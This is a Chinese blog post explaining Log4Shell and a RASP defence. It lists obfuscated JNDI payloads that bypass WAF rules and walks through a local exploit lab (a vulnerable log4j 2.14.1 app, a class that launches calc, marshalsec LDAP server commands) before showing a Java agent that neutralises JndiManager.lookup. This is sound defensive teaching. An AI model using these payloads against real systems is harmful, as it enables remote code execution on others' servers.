記得去年,log4j漏洞席卷Java圈,血流成河,影響之大并且使用難度很低.如今接觸到Rasp,那麼就用log4j的漏洞,感受一下Rasp!
log4j漏洞的影響面之是以如此之大,主要還是log4j2的使用面實在是太廣了。筆者所在的公司也經曆了痛苦的更新過程,總結下來:
1.添加jvm啟動參數-Dlog4j2.formatMsgNoLookups=true;
2.在應用classpath下添加log4j2.component.properties配置檔案,檔案内容為log4j2.formatMsgNoLookups=true;
3.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4.使用防火牆産品進行安全防護。
現在遇到新的選擇-Rasp,如果不了解可以檢視上一篇文章
新型應用安全保護技術-Rasp(Java篇)
Java 4Park,公衆号:進階面試工程師新型應用安全保護技術-Rasp(Java篇)
開發的同僚,修改配置,更新版本,重新開機....
而對于安全的同僚還是得依靠防火牆WAF,一般的攔截規則是攔截類似于:
${jndi:ldap://x.x.x.x:y/adsasd}
${jndi:rmi://x.x.x.x:y/adsasd}
但是,擁有奇淫巧技的攻擊者,往往會做一些繞過操作,如:
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:/
/xxxxxxx.xx/poc}
防護起來需要不斷的累加規則,稍有不慎,可能導緻漏掉了某一規則,防護起來比較麻煩.
Rasp申請出戰
網絡上對于log4j的漏洞分析已經比較多了,總結下來,既當log4j遇到
${jndi:ldap://x.x.x.x:y/adsasd}
${jndi:rmi://x.x.x.x:y/adsasd}
時,最終是由org.apache.logging.log4j.core.net.JndiManager的lookup方法去執行RCE.
在Rasp的角度,隻需要攔截org.apache.logging.log4j.core.net.JndiManager的lookup方法即可,因為正常情況是不會使用這個方法的.
進入團戰
首先搭建,log4j的靶場....引入有漏洞版本的log4j
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) throws IOException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("正常日志!");
logger.error("${jndi:ldap://127.0.0.1:8082/Log4jRCE}");
//阻塞住,不退出
System.in.read();
}
}
啟動電腦.....
public class Log4jRCE {
static {
System.out.println("Log4jRCE from remote!");
// 啟動電腦,在windows環境下
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
同時啟動一個http服務和ldap服務(https://github.com/mbechler/marshalsec.git)
python -m http.server 8888
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE" 8082
對手上高地
java -jar log4j-rce-1.0-SNAPSHOT-jar-with-dependencies.jar
360居然彈出了,也證明了,攻擊是成功的!
Rasp反殺
本次代碼:https://github.com/chaitin/log4j2-vaccine
public class Agent {
/**
* 解碼傳遞參數
* @param arg
* @return
* @throws UnsupportedEncodingException
*/
protected static String decodeArg(String arg) throws UnsupportedEncodingException {
try {
return URLDecoder.decode(arg, "UTF-16");
} catch (UnsupportedEncodingException e) {
return URLDecoder.decode(arg, "UTF-8");
}
}
/**
* 啟動時加載的agent入口方法
*
* @param agentArg 啟動參數
* @param inst {@link Instrumentation}
*/
public static void premain(String agentArg, Instrumentation inst) {
try {
System.out.println("[Vaccine] Premain Agent");
JndiManagerTransformer jndiManagerTransformer = new JndiManagerTransformer(inst);
inst.addTransformer(jndiManagerTransformer, true);
jndiManagerTransformer.retransform();
}catch (Throwable e){
e.printStackTrace();
}
}
/**
* attach 機制加載 agent
*
* @param agentArg 啟動參數
* @param inst {@link Instrumentation}
*/
public static void agentmain(String agentArg, Instrumentation inst) {
try {
System.out.println("[Vaccine] Attach Agent");
JndiManagerTransformer jndiManagerTransformer = new JndiManagerTransformer(inst);
inst.addTransformer(jndiManagerTransformer, true);
jndiManagerTransformer.retransform();
}catch (Throwable e){
System.out.println("[Vaccine] Error "+ e.getMessage());
e.printStackTrace();
}
}
}
主要看21-53行
public class JndiManagerTransformer implements ClassFileTransformer {
private Instrumentation inst;
private static String JndiManagerClassName = "org.apache.logging.log4j.core.net.JndiManager";
private static String JndiManagerLookupMethodName = "lookup";
public JndiManagerTransformer(Instrumentation inst){
this.inst = inst;
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.replace("/",".").equals(JndiManagerClassName)){
System.out.println("發現加載 JndiManager !");
CtClass ctClass = null;
CtMethod ctMethod = null;
try{
// 初始化classPool
ClassPool classPool = new ClassPool();
classPool.appendSystemPath();
if (loader != null) {
classPool.appendClassPath(new LoaderClassPath(loader));
}
// 構造CtClass
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
// 擷取lookup方法
for(CtMethod method:ctClass.getMethods()){
if(method.getName().equals(JndiManagerLookupMethodName)){
System.out.println("找到 lookup 方法 !");
ctMethod = method;
break;
}
}
// 修改lookup方法
assert ctMethod != null;
String src=" " +
"System.out.println(\"發現org.apache.logging.log4j.core.net.JndiManager.lookup執行....直接攔截\"); " +
"return null;" +
"";
ctMethod.insertBefore(src);
// 傳回位元組碼
System.out.println("修改 Lookup 方法完成!");
return ctClass.toBytecode();
}catch (Exception e){
e.printStackTrace();
}finally {
if (ctClass != null) {
ctClass.detach();
}
}
}else{
return classfileBuffer;
}
return classfileBuffer;
}
public void retransform() {
Class<?>[] loadedClasses = inst.getAllLoadedClasses();
for (Class<?> clazz : loadedClasses) {
if (clazz.getName().replace("/", ".").equals(JndiManagerClassName)) {
System.out.println("[Vaccine] Find Loaded JndiManager Lookup Method!");
try {
inst.retransformClasses(clazz);
} catch (Throwable t) {
System.out.println("failed to retransform class " + clazz.getName() + ": " + t.getMessage());
}
}
}
}
}
在org.apache.logging.log4j.core.net.JndiManager的lookup方法的入口寫入代碼.
String src=" " +
"System.out.println(\"發現org.apache.logging.log4j.core.net.JndiManager.lookup執行....直接攔截\"); " +
"return null;" +
"";
ctMethod.insertBefore(src);
我們再次執行
java -javaagent:agent.jar -jar log4j-rce-1.0-SNAPSHOT-jar-with-dependencies.jar
如果我們的應用在運作中,借助attach,注入到程序中即可...loader裡的代碼大部分借鑒了阿裡arthas的attach...
經過這個例子rasp防護的原理和步驟,應該就有了一個比較清晰的了解了.比較難的點在于,如何确認"樁"的位置,需要大量的時間看源碼才能确定,需要比較深入的了解常用架構的機制.
如果對您有幫助,請關注一下這個二流程式員的公衆号搜尋 --> 進階面試工程師,謝謝!